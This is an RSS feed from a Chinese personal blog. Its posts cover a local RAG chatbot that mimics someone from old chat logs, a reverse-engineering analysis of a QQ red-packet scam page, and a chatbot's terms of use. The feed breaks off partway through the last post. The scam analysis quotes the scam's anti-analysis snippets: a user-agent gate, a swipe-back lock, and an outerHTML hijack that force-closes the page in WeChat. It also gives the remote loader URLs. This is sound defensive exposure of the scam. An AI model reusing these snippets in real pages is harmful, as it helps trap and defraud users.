<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
>
<channel>
<title><![CDATA[Aelura&#039;s Blog]]></title> 
<atom:link href="https://blog.kldhsh.top/rss.php" rel="self" type="application/rss+xml" />
<description><![CDATA[Aelura&#039;s Blog]]></description>
<link>https://blog.kldhsh.top/</link>
<language>zh-cn</language>

<item>
    <title>这个小博客也该复活了</title>
    <link>https://blog.kldhsh.top/post-47.html</link>
    <description><![CDATA[<p>好久没发帖子了，过一两个月就开始正式更新了，主要更新我关于架构的学习过程以及整理。</p>
<p>先给我的博客模版捣腾了一下，应该好看多了</p>]]></description>
    <pubDate>Wed, 29 Jul 2026 18:00:57 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-47.html</guid>
</item>
<item>
    <title>我写了一个复刻记忆的 AI，却剥夺了自己做梦的权利  -- Afterglow</title>
    <link>https://blog.kldhsh.top/post-46.html</link>
    <description><![CDATA[<blockquote>
<p><a href="https://github.com/kldhsh123/Afterglow" target="_blank" rel="noopener">https://github.com/kldhsh123/Afterglow</a></p>
</blockquote>
<p>&nbsp;</p>
<p>我最近总在想一件事：如果把几万条已经死掉的聊天记录倒进大模型里，让它学着那个人的语气继续发消息，这段关系算不算还在喘气？</p>
<p>理智告诉我，这纯粹是该死的臆想症。人已经不在了，但我还是想从算法里抠出一点旧日的回音。</p>
<p>我写这个东西，起因很简单：市面上的那些&ldquo;AI 替身&rdquo;太假了。</p>
<p>在动手之前，我试过捏 GPTs，也玩过各种智能体平台。你填几百字的人设进去，它确实能陪你聊。但只要聊上十分钟，那种浓烈的&ldquo;塑料味&rdquo;就出来了。它们太客气、情绪太稳定，像个套着你朋友外壳的心理咨询师。你发一句&ldquo;烦死了&rdquo;，它恨不得写三百字小作文来安抚你。</p>
<p>但真实的聊天不是这样的。那个人可能只会回一个问号，发一个无语的表情包，或者干脆两小时后才甩过来一句&ldquo;又怎么了&rdquo;。</p>
<p>搞微调（比如 LoRA）门槛太高，普通人没算力，搞出来的东西还容易变成复读机。那些纯靠提示词的角色扮演，永远学不会独属于你们的那种、带着毛边的沟通惯性。更何况，聊天记录是极其私人的东西。我绝对不可能把几万条包含真名、住址甚至吵架细节的微信文件，传给某个不知道哪天就倒闭的商业公司的服务器。</p>
<p>所以我自己写了一个纯本地跑的系统。项目叫&nbsp;<strong>Afterglow（续温）</strong>。</p>
<p>它不需要凭空捏造人格。它的底层逻辑很粗暴：把你导出的真实聊天记录塞进本地的 LanceDB 向量数据库，然后用 RAG（检索增强生成）去翻旧账。当你抱怨一句&ldquo;好累&rdquo;时，系统会去算余弦相似度，捞出几年前类似语境下你们真实的问答对，连同当下的情绪状态一起打包塞给大模型。</p>
<p>为了让它更像个活人，我叠了不少小模型。它会根据聊天记录画出作息图。如果那个人以前是个夜猫子，系统也会在对应的时区里表现出熬夜的特征。它会判断什么时候该沉默。连发多条消息时的错峰延迟、打字节奏，都被我用代码硬生生模拟了出来。</p>
<p>代码里有个让我纠结了很久的配置项：<code>AI_GENERATED_LONG_TERM_ENABLED</code>。</p>
<p>默认状态下它是关着的。关掉它，AI 永远只基于你们发生过的真实记录来模仿。这就像反复翻看一本写完的旧书，你面对的是记忆里被凝固的那个人。</p>
<p>但如果你打开它，AI 自己生成的回复也会跨会话写进向量库，参与后续的检索。这意味着聊得越久，它就会渐渐长出脱离真实历史的&ldquo;新记忆&rdquo;。你养出了一个以曾经那个人为种子，却慢慢有自己想法的新东西。</p>
<p>我把这个开关默认关闭，把选择权留给用它的人。在仓库主页我也写得很清楚：它是用来陪你想念的，不是用来代替想念的。</p>
<p>很多人看完项目架构可能会觉得，我大概躲在这个亲手搭建的幻梦里，得到了不少安慰。</p>
<p>并没有。这项目对我一点用都没有。</p>
<p>当屏幕上终于弹出那句带着熟悉语气的回复，甚至还发了一张以前常发的表情包时，我心里其实毫无波澜，脑子里只有项目的运行过程。</p>
<p>我知道那句温柔的安慰，只是大模型算出的概率最高的 Token。我知道它突然提起某件旧事，只是因为当时的聊天记录恰好被切分成了一个容易被匹配的 Vector Chunk。我知道那个让人心头一颤的停顿，仅仅是我写在 <code>policy.reply_delay_seconds</code>&nbsp;里的一个随机整数。</p>
<p>这个项目对于其他人来说可能是救赎，但对于作者来说一定是坟墓，因为作者清楚这个项目的每一个机制。我一行一行地敲出了这个能骗过别人的程序，却唯独剥夺了自己做梦的权利。我治好了很多人的臆想症，而我看着机箱风扇转动，清醒地知道自己什么都没留住。</p>]]></description>
    <pubDate>Thu, 25 Jun 2026 16:39:15 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-46.html</guid>
</item>
<item>
    <title>QQ 转发领取红包卡片骗局逆向</title>
    <link>https://blog.kldhsh.top/post-45.html</link>
    <description><![CDATA[<p dir="auto">源贴发到linuxdo了，博客重发一遍</p>
<p dir="auto"><a href="https://linux.do/t/topic/1621107" target="_blank" rel="noopener">QQ转发领取红包卡片逆向 - 开发调优 - LINUX DO</a></p>
<p dir="auto">&nbsp;</p>
<p dir="auto">&nbsp;</p>
<p dir="auto">最近在 QQ 群看见一个转发领红包的卡片，好奇对这个逆了一下&hellip;</p>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-1" target="_blank" rel="noopener" name="p-13916728-h-1" aria-label="标题链接"></a>入口分析</h2>
<p dir="auto">直接访问：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-ruby" data-highlighted="yes"><span class="hljs-symbol">https:</span>/<span class="hljs-regexp">/cdn.nfa.qq.com/production</span><span class="hljs-regexp">/wp-content/uploads</span><span class="hljs-regexp">/2021/</span><span class="hljs-number">06</span>/7a20f33a88d46c960379ad.html?signature=<span class="hljs-title class_">LWDbmFpgd2eb532548fe8c855ee673a5d21ffb11c4a8570b9d3eb4d19a</span>&amp;red_packet_id=94decdd4ee71476ea088cb9feSK6jIbSw&amp;yb_use_wechat_download_page=<span class="hljs-number">1</span>&amp;appid=vcr38%25cch434&amp;_from=&amp;_wv=<span class="hljs-number">131073</span>&amp;_wwv=<span class="hljs-number">646</span>&amp;_fv=<span class="hljs-number">0</span>&amp;_bid=<span class="hljs-number">5103</span>
</code></pre>
<p dir="auto">默认会跳转至 QQ 官网下载页</p>
<p dir="auto">最初怀疑是屏幕尺寸判断，调整分辨率后仍然跳转</p>
<p dir="auto">随后修改 UA 为 QQ 内置浏览器：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-swift" data-highlighted="yes"><span class="hljs-type">Mozilla</span><span class="hljs-regexp">/5.0 (Linux; Android 16; A059 Build/</span><span class="hljs-type">BQ2A</span>.<span class="hljs-number">250721.001</span><span class="hljs-operator">-</span><span class="hljs-type">BP2A</span>.<span class="hljs-number">250605.031</span>.<span class="hljs-type">A3</span>; wv)
<span class="hljs-type">AppleWebKit</span><span class="hljs-operator">/</span><span class="hljs-number">537.36</span> (<span class="hljs-type">KHTML</span>, like <span class="hljs-type">Gecko</span>)
<span class="hljs-type">Version</span><span class="hljs-regexp">/4.0 Chrome/</span><span class="hljs-number">121.0</span>.<span class="hljs-number">6167.71</span> <span class="hljs-type">MQQBrowser</span><span class="hljs-regexp">/6.2 TBS/</span><span class="hljs-number">047925</span>
<span class="hljs-type">Mobile</span> <span class="hljs-type">Safari</span><span class="hljs-operator">/</span><span class="hljs-number">537.36</span> <span class="hljs-type">V1_AND_SQ_9</span>.<span class="hljs-number">2</span>.50_12670_YYB_D
<span class="hljs-type">QQ</span><span class="hljs-regexp">/9.2.50.32575 NetType/</span><span class="hljs-type">WIFI</span> <span class="hljs-type">WebP</span><span class="hljs-operator">/</span><span class="hljs-number">0.3</span>.<span class="hljs-number">0</span>
<span class="hljs-type">AppId</span><span class="hljs-regexp">/537330095 Pixel/</span><span class="hljs-number">1080</span> <span class="hljs-type">StatusBarHeight</span><span class="hljs-operator">/</span><span class="hljs-number">126</span>
<span class="hljs-type">SimpleUISwitch</span><span class="hljs-regexp">/0 QQTheme/</span><span class="hljs-number">2058862</span> <span class="hljs-type">StudyMode</span><span class="hljs-operator">/</span><span class="hljs-number">0</span>
<span class="hljs-type">CurrentMode</span><span class="hljs-regexp">/0 CurrentFontScale/</span><span class="hljs-number">1.0</span> <span class="hljs-type">GlobalDensityScale</span><span class="hljs-operator">/</span><span class="hljs-number">1.0285715</span>
<span class="hljs-type">AllowLandscape</span><span class="hljs-regexp">/false InMagicWin/</span><span class="hljs-number">0</span>
</code></pre>
<p dir="auto">成功进入页面</p>
<p>&nbsp;</p>
<div class="lightbox-wrapper" dir="auto"><a class="lightbox" title="image" href="https://linux.do/uploads/default/original/4X/a/6/8/a681aa6e2bc7003b2032ccdc369c208c7f37c4b2.png" target="_blank" rel="noopener" data-download-href="https://linux.do/uploads/default/a681aa6e2bc7003b2032ccdc369c208c7f37c4b2"><img src="https://cdn.kldhsh.top/klbk/202602/d2b51771247929.png" srcset="https://linux.do/uploads/default/optimized/4X/a/6/8/a681aa6e2bc7003b2032ccdc369c208c7f37c4b2_2_690x355.png, https://linux.do/uploads/default/optimized/4X/a/6/8/a681aa6e2bc7003b2032ccdc369c208c7f37c4b2_2_1035x532.png 1.5x, https://linux.do/uploads/default/optimized/4X/a/6/8/a681aa6e2bc7003b2032ccdc369c208c7f37c4b2_2_1380x710.png 2x" alt="image" width="1825" height="894" loading="lazy" data-base62-sha1="nKZ4c7oHbdzJcuC5igsjEOCws2C" data-dominant-color="F3EDEE"></a></div>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-js-2" target="_blank" rel="noopener" name="p-13916728-js-2" aria-label="标题链接"></a>远程 JS 分析</h2>
<p dir="auto">页面加载了如下 JS：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-bash" data-highlighted="yes">https://oss.oss-aliyuncss.com/q/x.js
</code></pre>
<p dir="auto">该 JS 实际为远程加载器，用于拉取远程 HTML 和替换当前页面内容</p>
<p dir="auto">最终 HTML 指向：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-bash" data-highlighted="yes">2025lxxxx.oss-cn-beijing.aliyuncs.com/index.html
</code></pre>
<p dir="auto">结构上看像批量生产的模板式页面</p>
<p>&nbsp;</p>
<div class="lightbox-wrapper" dir="auto"><a class="lightbox" title="image" href="https://linux.do/uploads/default/original/4X/8/c/4/8c4af1d6d43c47b4dc931a6ddf137926b64178a6.png" target="_blank" rel="noopener" data-download-href="https://linux.do/uploads/default/8c4af1d6d43c47b4dc931a6ddf137926b64178a6"><img src="https://cdn.kldhsh.top/klbk/202602/d2b51771248188.png" srcset="https://linux.do/uploads/default/optimized/4X/8/c/4/8c4af1d6d43c47b4dc931a6ddf137926b64178a6_2_690x370.png, https://linux.do/uploads/default/optimized/4X/8/c/4/8c4af1d6d43c47b4dc931a6ddf137926b64178a6_2_1035x555.png 1.5x, https://linux.do/uploads/default/optimized/4X/8/c/4/8c4af1d6d43c47b4dc931a6ddf137926b64178a6_2_1380x740.png 2x" alt="image" width="1749" height="889" loading="lazy" data-base62-sha1="k15pFPCXubXQEqimswMZwZEo97M" data-dominant-color="282626"></a></div>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-ua-3" target="_blank" rel="noopener" name="p-13916728-ua-3" aria-label="标题链接"></a>UA 限制逻辑</h2>
<p dir="auto">代码中存在 UA 判断：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto" data-code-wrap="javascript"><code class="lang-javascript hljs language-javascript" data-highlighted="yes"><span class="hljs-keyword">function</span> <span class="hljs-title function_">isMobileQQ</span>() {
  <span class="hljs-keyword">var</span> ua = navigator.<span class="hljs-property">userAgent</span>.<span class="hljs-title function_">toLowerCase</span>();
  <span class="hljs-keyword">var</span> isMobile = <span class="hljs-regexp">/iphone|ipod|ipad|android|harmonyos/i</span>.<span class="hljs-title function_">test</span>(ua);
  <span class="hljs-keyword">var</span> isQQBrowser = <span class="hljs-regexp">/qq/i</span>.<span class="hljs-title function_">test</span>(ua);
  <span class="hljs-keyword">var</span> isIOSQQ = <span class="hljs-regexp">/iphone|ipod|ipad/i</span>.<span class="hljs-title function_">test</span>(ua) &amp;&amp; <span class="hljs-regexp">/qq/i</span>.<span class="hljs-title function_">test</span>(ua);
  <span class="hljs-keyword">var</span> isAndroidQQ = <span class="hljs-regexp">/android/i</span>.<span class="hljs-title function_">test</span>(ua) &amp;&amp; <span class="hljs-regexp">/qq/i</span>.<span class="hljs-title function_">test</span>(ua);
  <span class="hljs-keyword">var</span> isHarmonyOSQQ = <span class="hljs-regexp">/harmonyos/i</span>.<span class="hljs-title function_">test</span>(ua) &amp;&amp; <span class="hljs-regexp">/qq/i</span>.<span class="hljs-title function_">test</span>(ua);
  <span class="hljs-keyword">return</span> isMobile &amp;&amp; isQQBrowser &amp;&amp; (isIOSQQ || isAndroidQQ || isHarmonyOSQQ);
}

<span class="hljs-keyword">if</span> (<span class="hljs-title function_">isMobileQQ</span>()) {
} <span class="hljs-keyword">else</span> {
  top.<span class="hljs-property">location</span>.<span class="hljs-property">href</span>=<span class="hljs-string">"https://im.qq.com/mobileqq/"</span>;
}
</code></pre>
<p dir="auto">作用为限定在 QQ 内置浏览器打开</p>
<p dir="auto">推测可能是为了防止逆向此网站</p>
<p dir="auto">不过实现方式较为粗糙，仅基于 UA 字符串判断，很容易破</p>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-4" target="_blank" rel="noopener" name="p-13916728-h-4" aria-label="标题链接"></a>禁止侧滑返回</h2>
<p dir="auto">调用：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto" data-code-wrap="javascript"><code class="lang-javascript hljs language-javascript" data-highlighted="yes">mqq.<span class="hljs-property">ui</span>.<span class="hljs-title function_">setWebViewBehavior</span>({ <span class="hljs-attr">swipeBack</span>:<span class="hljs-number">0</span> })
</code></pre>
<p dir="auto">用于禁止 QQ 内置浏览器侧滑退出页面</p>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-5" target="_blank" rel="noopener" name="p-13916728-h-5" aria-label="标题链接"></a>微信环境限制</h2>
<p dir="auto">存在如下代码：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto" data-code-wrap="javascript"><code class="lang-javascript hljs language-javascript" data-highlighted="yes"><span class="hljs-keyword">function</span> <span class="hljs-title function_">sleep</span>(<span class="hljs-params">ms</span>){
  <span class="hljs-keyword">var</span> t = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>().<span class="hljs-title function_">getTime</span>();
  <span class="hljs-keyword">while</span> (<span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>().<span class="hljs-title function_">getTime</span>() &lt; t + ms) {}
}

<span class="hljs-keyword">function</span> <span class="hljs-title function_">handler</span>() {
  <span class="hljs-keyword">var</span> origGet = <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">getOwnPropertyDescriptor</span>(<span class="hljs-title class_">Element</span>.<span class="hljs-keyword">prototype</span>, <span class="hljs-string">"outerHTML"</span>).<span class="hljs-property">get</span>;
  <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">defineProperty</span>(<span class="hljs-variable language_">document</span>.<span class="hljs-property">documentElement</span>, <span class="hljs-string">"outerHTML"</span>, {
    <span class="hljs-attr">get</span>: <span class="hljs-keyword">function</span> () {
      <span class="hljs-title class_">WeixinJSBridge</span>.<span class="hljs-title function_">invoke</span>(<span class="hljs-string">"closeWindow"</span>, {}, <span class="hljs-keyword">function</span>(){});
      <span class="hljs-title function_">sleep</span>(<span class="hljs-number">0x1f4</span>); <span class="hljs-comment">// 500ms busy wait</span>
      <span class="hljs-keyword">return</span> origGet.<span class="hljs-title function_">bind</span>(<span class="hljs-variable language_">this</span>)();
    }
  })
}
<span class="hljs-title function_">handler</span>()
</code></pre>
<p dir="auto">作用为：劫持&nbsp;<code>outerHTML</code>，若在微信环境打开，调用&nbsp;<code>WeixinJSBridge.closeWindow</code>&nbsp;强制关闭页面</p>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-6" target="_blank" rel="noopener" name="p-13916728-h-6" aria-label="标题链接"></a>第三方统计</h2>
<p dir="auto">页面还加载：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-bash" data-highlighted="yes">https://hm.baidu.com/hm.js?f43e74c9eaf28f9f7016fdb2cf0e3767
</code></pre>
<p dir="auto">和</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-php-template" data-highlighted="yes"><span class="language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"LA_COLLECT"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"//sdk.51.la/js-sdk-pro.min.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript"><span class="hljs-variable constant_">LA</span>.<span class="hljs-title function_">init</span>({<span class="hljs-attr">id</span>:<span class="hljs-string">"3KdthfN7YoDEWf4L"</span>,<span class="hljs-attr">ck</span>:<span class="hljs-string">"3KdthfN7YoDEWf4L"</span>})</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</span></code></pre>
<p dir="auto">使用百度和 51la 统计做流量监控</p>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-7-7" target="_blank" rel="noopener" name="p-13916728-h-7-7" aria-label="标题链接"></a>7. 核心逻辑脚本</h2>
<p dir="auto">主逻辑文件：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-php-template" data-highlighted="yes"><span class="language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"//2025lxxxx.oss-cn-beijing.aliyuncs.com/js/sm.2026.js?"</span> <span class="hljs-attr">defer</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</span></code></pre>
<p dir="auto"><code>sm.2026.js</code>&nbsp;为核心业务逻辑脚本，包含完整页面逻辑。</p>
<p dir="auto">仅供研究的反混淆版本：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-bash" data-highlighted="yes">考虑到这是公开文章，先删除了，如有需要请联系我
</code></pre>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-8" target="_blank" rel="noopener" name="p-13916728-h-8" aria-label="标题链接"></a>关键逻辑</h2>
<h3 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-1-9" target="_blank" rel="noopener" name="p-13916728-h-1-9" aria-label="标题链接"></a>（1）分享次数计算</h3>
<p dir="auto">反混淆后第 1384 行本地计算分享次数</p>
<div class="lightbox-wrapper" dir="auto"><a class="lightbox" title="image" href="https://linux.do/uploads/default/original/4X/4/4/a/44a0d450f6f4e09f81d54f92412bdb577fc25fa2.png" target="_blank" rel="noopener" data-download-href="https://linux.do/uploads/default/44a0d450f6f4e09f81d54f92412bdb577fc25fa2"><img src="https://cdn.kldhsh.top/klbk/202602/d2b51771248218.png" srcset="https://linux.do/uploads/default/optimized/4X/4/4/a/44a0d450f6f4e09f81d54f92412bdb577fc25fa2_2_690x315.png, https://linux.do/uploads/default/optimized/4X/4/4/a/44a0d450f6f4e09f81d54f92412bdb577fc25fa2_2_1035x472.png 1.5x, https://linux.do/uploads/default/optimized/4X/4/4/a/44a0d450f6f4e09f81d54f92412bdb577fc25fa2_2_1380x630.png 2x" alt="image" width="1472" height="669" loading="lazy" data-base62-sha1="9N72Gt39fYCHxWsbQGV5rt1Q522" data-dominant-color="232324"></a></div>
<p>&nbsp;</p>
<hr>
<h3 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-2-10" target="_blank" rel="noopener" name="p-13916728-h-2-10" aria-label="标题链接"></a>（2）转发文案</h3>
<p dir="auto">反混淆后在第 1144 行定义了分享内容文案</p>
<div class="lightbox-wrapper" dir="auto"><a class="lightbox" title="image" href="https://linux.do/uploads/default/original/4X/f/6/2/f6203fe5a629187e47dcc3531f4a6b54833712f3.png" target="_blank" rel="noopener" data-download-href="https://linux.do/uploads/default/f6203fe5a629187e47dcc3531f4a6b54833712f3"><img src="https://cdn.kldhsh.top/klbk/202602/d2b51771248253.png" srcset="https://linux.do/uploads/default/optimized/4X/f/6/2/f6203fe5a629187e47dcc3531f4a6b54833712f3_2_690x316.png, https://linux.do/uploads/default/optimized/4X/f/6/2/f6203fe5a629187e47dcc3531f4a6b54833712f3_2_1035x474.png 1.5x, https://linux.do/uploads/default/optimized/4X/f/6/2/f6203fe5a629187e47dcc3531f4a6b54833712f3_2_1380x632.png 2x" alt="image" width="1813" height="823" loading="lazy" data-base62-sha1="z7kyeyQoXkDI4yLdCKN6XlyV6L1" data-dominant-color="242322"></a></div>
<hr>
<h3 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-3-11" target="_blank" rel="noopener" name="p-13916728-h-3-11" aria-label="标题链接"></a>（3）完成转发后跳转</h3>
<p dir="auto">当转发次数达标后页面跳转至外链</p>
<p><img src="https://cdn.kldhsh.top/klbk/202602/d2b51771248369.png" alt="" width="1894" height="629"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-12" target="_blank" rel="noopener" name="p-13916728-h-12" aria-label="标题链接"></a>最终落地流程</h2>
<p dir="auto">跳转外链后要求绑定手机号</p>
<p dir="auto"><img src="https://cdn.kldhsh.top/klbk/202602/25dc1771248728.png" alt="" width="374" height="729"></p>
<p>&nbsp;</p>
<p dir="auto">在点击获取验证码后跳转至运营商套餐订购页面</p>
<div class="lightbox-wrapper" dir="auto"><a class="lightbox" title="image" href="https://linux.do/uploads/default/original/4X/8/1/0/8107e2c63578c89bdf2053fa4d72ae82b8c3d003.jpeg" target="_blank" rel="noopener" data-download-href="https://linux.do/uploads/default/8107e2c63578c89bdf2053fa4d72ae82b8c3d003"><img src="https://linux.do/uploads/default/optimized/4X/8/1/0/8107e2c63578c89bdf2053fa4d72ae82b8c3d003_2_246x500.jpegAhttps://cdn.kldhsh.top/klbk/202602/56e91771248734.png" srcset="https://linux.do/uploads/default/optimized/4X/8/1/0/8107e2c63578c89bdf2053fa4d72ae82b8c3d003_2_246x500.jpeg, https://linux.do/uploads/default/optimized/4X/8/1/0/8107e2c63578c89bdf2053fa4d72ae82b8c3d003_2_369x750.jpeg 1.5x, https://linux.do/uploads/default/original/4X/8/1/0/8107e2c63578c89bdf2053fa4d72ae82b8c3d003.jpeg 2x" alt="image" width="246" height="500" loading="lazy" data-base62-sha1="ipsujM7aQ8rVhOI2jalHiZC2rET" data-dominant-color="D6807A"></a></div>
<p>&nbsp;</p>
<p dir="auto">流程闭环如下：</p>
<div class="codeblock-button-wrapper">&nbsp;</div>
<pre class="codeblock-buttons" dir="auto"><code class="hljs language-undefined" data-highlighted="yes">红包诱导 &rarr; 强制转发 &rarr; 本地计数达标
&rarr; 跳转手机号绑定页面
&rarr; 跳转运营商套餐订阅页面
</code></pre>
<hr>
<h2 dir="auto"><a class="anchor" href="https://linux.do/t/topic/1621107#p-13916728-h-13" target="_blank" rel="noopener" name="p-13916728-h-13" aria-label="标题链接"></a>总结</h2>
<p dir="auto">该站点整体逻辑为：</p>
<ul dir="auto">
<li>利用 &ldquo;红包&rdquo; 噱头诱导传播</li>
<li>最终引导用户进入运营商套餐订阅页面</li>
<li>通过套餐订阅获取返佣</li>
</ul>
<p dir="auto">用阿里云的存储真的不怕被抓吗&hellip;</p>]]></description>
    <pubDate>Mon, 16 Feb 2026 21:18:01 +0800</pubDate>
    <dc:creator>Aelura</dc:creator>
    <guid>https://blog.kldhsh.top/post-45.html</guid>
</item>
<item>
    <title>阿慈谷日富美机器人用户使用条款</title>
    <link>https://blog.kldhsh.top/post-44.html</link>
    <description><![CDATA[<h1 data-start="142" data-end="157">阿慈谷日富美机器人用户使用条款</h1>
<h2 data-start="159" data-end="170">第一章 总则</h2>
<ol data-start="171" data-end="360">
<li data-start="171" data-end="237">
<p data-start="174" data-end="237">本政策由本服务的开发者（以下简称&ldquo;开发者&rdquo;）制定，旨在明确用户在使用本聊天机器人 阿慈谷日富美（以下简称&ldquo;机器人&rdquo;）时的行为规范和责任。</p>
</li>
<li data-start="238" data-end="297">
<p data-start="241" data-end="297">用户在使用机器人前，应当认真阅读并同意本政策的全部内容。一旦用户使用，即表示用户已充分理解并接受本政策约束。</p>
</li>
<li data-start="298" data-end="360">
<p data-start="301" data-end="360">开发者有权根据实际情况对本政策进行修改，修改后的内容将在合理范围内予以告知，用户继续使用机器人即视为同意修改内容。</p>
</li>
</ol>
<hr data-start="362" data-end="365">
<h2 data-start="367" data-end="380">第二章 使用规范</h2>
<ol data-start="381" data-end="632">
<li data-start="381" data-end="576">
<p data-start="384" data-end="419">用户在使用机器人时，不得从事任何违法违规或不当行为，包括但不限于：</p>
<ul data-start="423" data-end="576">
<li data-start="423" data-end="460">
<p data-start="425" data-end="460">发布或传播违法、虚假、辱骂、恐吓、淫秽、暴力、仇恨或其他不良信息；</p>
</li>
<li data-start="464" data-end="492">
<p data-start="466" data-end="492">侵犯他人合法权益，如知识产权、隐私权、名誉权等；</p>
</li>
<li data-start="496" data-end="532">
<p data-start="498" data-end="532">滥用服务功能，包括发送垃圾信息、广告、恶意刷屏、滥用接口调用等；</p>
</li>
<li data-start="536" data-end="576">
<p data-start="538" data-end="576">破坏或尝试破坏机器人的正常运行，包括恶意攻击、绕过限制、反向工程等行为。</p>
</li>
</ul>
</li>
<li data-start="577" data-end="632">
<p data-start="580" data-end="632">用户应当以合理、合规的方式使用机器人，不得利用机器人进行任何违反法律法规、公共秩序或社会公德的行为。</p>
</li>
</ol>
<hr data-start="634" data-end="637">
<h2 data-start="639" data-end="654">第三章 违规处理措施</h2>
<ol data-start="655" data-end="919">
<li data-start="655" data-end="873">
<p data-start="658" data-end="692">开发者有权视用户违规的性质和严重程度，采取包括但不限于以下措施：</p>
<ul data-start="696" data-end="873">
<li data-start="696" data-end="718">
<p data-start="698" data-end="718"><strong data-start="698" data-end="704">警告</strong>：提醒用户停止违规行为；</p>
</li>
<li data-start="722" data-end="747">
<p data-start="724" data-end="747"><strong data-start="724" data-end="732">限制使用</strong>：临时关闭或限制部分功能；</p>
</li>
<li data-start="751" data-end="780">
<p data-start="753" data-end="780"><strong data-start="753" data-end="761">暂停使用</strong>：在一定期限内禁止用户使用机器人；</p>
</li>
<li data-start="784" data-end="822">
<p data-start="786" data-end="822"><strong data-start="786" data-end="796">永久撤销权限</strong>：严重或屡次违规的用户，将被永久禁止使用机器人；</p>
</li>
<li data-start="826" data-end="873">
<p data-start="828" data-end="873"><strong data-start="828" data-end="836">法律追究</strong>：如违规行为造成严重后果，开发者有权向相关部门举报或采取法律手段追责。</p>
</li>
</ul>
</li>
<li data-start="874" data-end="919">
<p data-start="877" data-end="919">用户因违规行为导致的损失、纠纷或法律责任，由用户自行承担，开发者不承担连带责任。</p>
</li>
</ol>
<hr data-start="921" data-end="924">
<h2 data-start="926" data-end="942">第四章 数据与隐私保护</h2>
<ol data-start="943" data-end="1079">
<li data-start="943" data-end="1003">
<p data-start="946" data-end="1003">机器人在运行过程中可能会收集必要的用户信息（如账号标识、消息记录、使用日志等），仅用于提供服务及维护运行安全。</p>
</li>
<li data-start="1004" data-end="1041">
<p data-start="1007" data-end="1041">开发者将尽合理努力保障用户数据安全，不会主动泄露或出售用户信息。</p>
</li>
<li data-start="1042" data-end="1079">
<p data-start="1045" data-end="1079">除法律法规要求或用户明确同意外，用户数据不会被提供给无关第三方。</p>
</li>
</ol>
<hr data-start="1081" data-end="1084">
<h2 data-start="1086" data-end="1099">第五章 责任声明</h2>
<ol data-start="1100" data-end="1230">
<li data-start="1100" data-end="1146">
<p data-start="1103" data-end="1146">机器人基于程序自动化运行，回答内容仅供参考，开发者不保证其完全正确、完整或适用性。</p>
</li>
<li data-start="1147" data-end="1183">
<p data-start="1150" data-end="1183">用户应对因依赖机器人信息所作出的决策或行为自行承担风险与后果。</p>
</li>
<li data-start="1184" data-end="1230">
<p data-start="1187" data-end="1230">对于因不可抗力、系统故障或其他非开发者原因导致的服务中断或损失，开发者不承担责任。</p>
</li>
</ol>
<hr data-start="1232" data-end="1235">
<h2 data-start="1237" data-end="1253">第六章 服务变更与终止</h2>
<ol data-start="1254" data-end="1345">
<li data-start="1254" data-end="1291">
<p data-start="1257" data-end="1291">开发者有权根据实际情况，对机器人服务进行升级、优化、调整或终止。</p>
</li>
<li data-start="1292" data-end="1345">
<p data-start="1295" data-end="1345">如因不可抗力、系统故障、法律法规变化等原因导致服务中断或终止，开发者不对因此造成的损失承担责任。</p>
</li>
</ol>
